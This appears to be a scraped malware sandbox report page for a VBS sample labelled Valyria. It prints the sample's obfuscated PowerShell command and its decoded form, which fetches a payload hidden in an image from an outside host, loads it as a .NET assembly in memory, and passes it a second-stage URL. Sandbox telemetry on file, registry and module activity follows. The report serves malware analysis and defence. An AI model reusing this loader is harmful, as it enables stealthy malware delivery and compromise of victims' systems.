21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T45e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Valyria Sample f2688472718a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f2688472718a…. Malware family: Valyria. Threat score 100/100. 4/26 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf","keywords":["Malicious","Valyria","malware analysis","sandbox report","threat intelligence","f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf"],"about":{"@type":"SoftwareApplication","name":"ESL.vbs","applicationCategory":["script","vbs"],"identifier":"f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Valyria","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":2,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T1999,-command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DY⁂⇵Mw⁂⇵v⁂⇵DY⁂⇵Mg⁂⇵x⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵dQBu⁂⇵Gk⁂⇵dgBl⁂⇵HI⁂⇵cwBv⁂⇵F8⁂⇵dgBi⁂⇵HM⁂⇵LgBq⁂⇵H⁂⇵⁂⇵ZQBn⁂⇵D8⁂⇵MQ⁂⇵2⁂⇵Dk⁂⇵M⁂⇵⁂⇵5⁂⇵DM⁂⇵MQ⁂⇵4⁂⇵DU⁂⇵NQ⁂⇵n⁂⇵Ds⁂⇵J⁂⇵B3⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵BO⁂⇵GU⁂⇵dw⁂⇵t⁂⇵E8⁂⇵YgBq⁂⇵GU⁂⇵YwB0⁂⇵C⁂⇵⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBO⁂⇵GU⁂⇵d⁂⇵⁂⇵u⁂⇵Fc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵LgBE⁂⇵G8⁂⇵dwBu⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵R⁂⇵Bh⁂⇵HQ⁂⇵YQ⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FU⁂⇵cgBs⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵RQBu⁂⇵GM⁂⇵bwBk⁂⇵Gk⁂⇵bgBn⁂⇵F0⁂⇵Og⁂⇵6⁂⇵FU⁂⇵V⁂⇵BG⁂⇵Dg⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BT⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵FM⁂⇵V⁂⇵BB⁂⇵FI⁂⇵V⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵EU⁂⇵TgBE⁂⇵D4⁂⇵Pg⁂⇵n⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵BP⁂⇵GY⁂⇵K⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwBl⁂⇵C⁂⇵⁂⇵M⁂⇵⁂⇵g⁂⇵C0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwB0⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵Kw⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵u⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵I⁂⇵⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵Ow⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵FM⁂⇵dQBi⁂⇵HM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Cw⁂⇵I⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBD⁂⇵G8⁂⇵bgB2⁂⇵GU⁂⇵cgB0⁂⇵F0⁂⇵Og⁂⇵6⁂⇵EY⁂⇵cgBv⁂⇵G0⁂⇵QgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBS⁂⇵GU⁂⇵ZgBs⁂⇵GU⁂⇵YwB0⁂⇵Gk⁂⇵bwBu⁂⇵C4⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵F0⁂⇵Og⁂⇵6⁂⇵Ew⁂⇵bwBh⁂⇵GQ⁂⇵K⁂⇵⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HQ⁂⇵eQBw⁂⇵GU⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bs⁂⇵G8⁂⇵YQBk⁂⇵GU⁂⇵Z⁂⇵BB⁂⇵HM⁂⇵cwBl⁂⇵G0⁂⇵YgBs⁂⇵Hk⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BU⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵Cg⁂⇵JwBG⁂⇵Gk⁂⇵YgBl⁂⇵HI⁂⇵LgBI⁂⇵G8⁂⇵bQBl⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵bQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵TQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵K⁂⇵⁂⇵n⁂⇵FY⁂⇵QQBJ⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵L⁂⇵⁂⇵o⁂⇵Cc⁂⇵d⁂⇵B4⁂⇵HQ⁂⇵Lg⁂⇵y⁂⇵DM⁂⇵N⁂⇵Bk⁂⇵GU⁂⇵LwBs⁂⇵HQ⁂⇵Lw⁂⇵3⁂⇵DY⁂⇵MQ⁂⇵u⁂⇵DE⁂⇵Ng⁂⇵x⁂⇵C4⁂⇵Ng⁂⇵1⁂⇵DE⁂⇵Lg⁂⇵0⁂⇵Dk⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD23:T405,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724)24:T7e1,"WScript.exe" trying to access non-existent file "IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&2848384c&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WSCRIPT.EXE.LOCAL" "WScript.exe" trying to access non-existent file "C:\Windows\System32\cmd.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "powershell.exe" trying to access non-existent file "C:\Users\UqmUxlq\AppData\Roaming\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.LOCAL" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.TEMP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.CONFIG"25:Te26,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00eae50200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "20e7e80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "60e5e80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0e5e80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30eae80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00efe80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70efe80200000000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "24f630" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50f0e80200000000"}26:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")27:T4262,"WScript.exe" loaded module "OLE32.DLL" at base ff280000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base fea60000 "WScript.exe" loaded module "WINTRUST.DLL" at base fd010000 "WScript.exe" loaded module "CRYPTSP.DLL" at base fc6b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc3b0000 "WScript.exe" loaded module "ADVAPI32.DLL" at base fea60000 "WScript.exe" loaded module "CRYPTBASE.DLL" at base fcd20000 "WScript.exe" loaded module "MSISIP.DLL" at base f60e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base fd110000 "WScript.exe" loaded module "IMM32.DLL" at base fe8a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base f49c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base f0c50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base f0670000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base f07b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base f0630000 "WScript.exe" loaded module "SHELL32.DLL" at base fd840000 "WScript.exe" loaded module "PROPSYS.DLL" at base fb6e0000 "WScript.exe" loaded module "COMCTL32.DLL" at base fb910000 "WScript.exe" loaded module "OLEAUT32.DLL" at base fef50000 "WScript.exe" loaded module "APPHELP.DLL" at base fccc0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 770b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base f0d10000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 770b0000 "WScript.exe" loaded module "SETUPAPI.DLL" at base fe5d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fb6e0000 "WScript.exe" loaded module "NTMARTA.DLL" at base fb8e0000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base fe880000 "WScript.exe" loaded module "PROFAPI.DLL" at base fced0000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base fd0f0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base fe8d0000 "WScript.exe" loaded module "SECUR32.DLL" at base fc9f0000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base fcee0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fccc0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 770b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fccc0000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fc650000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fc070000 "powershell.exe" loaded module "USERENV.DLL" at base fcef0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base fe880000 "powershell.exe" loaded module "COMCTL32.DLL" at base fb910000 "powershell.exe" loaded module "ADVAPI32.DLL" at base fea60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 770b0000 "powershell.exe" loaded module "SHELL32.DLL" at base fd840000 "powershell.exe" loaded module "OLEAUT32.DLL" at base fef50000 "powershell.exe" loaded module "OLE32.DLL" at base ff280000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 770b0000 "powershell.exe" loaded module "SETUPAPI.DLL" at base fe5d0000 "powershell.exe" loaded module "RPCRT4.DLL" at base fd5b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fb6e0000 "powershell.exe" loaded module "NTMARTA.DLL" at base fb8e0000 "powershell.exe" loaded module "APPHELP.DLL" at base fccc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base f62f0000 "powershell.exe" loaded module "PROPSYS.DLL" at base fb6e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base fd840000 "powershell.exe" loaded module "LINKINFO.DLL" at base f62e0000 "powershell.exe" 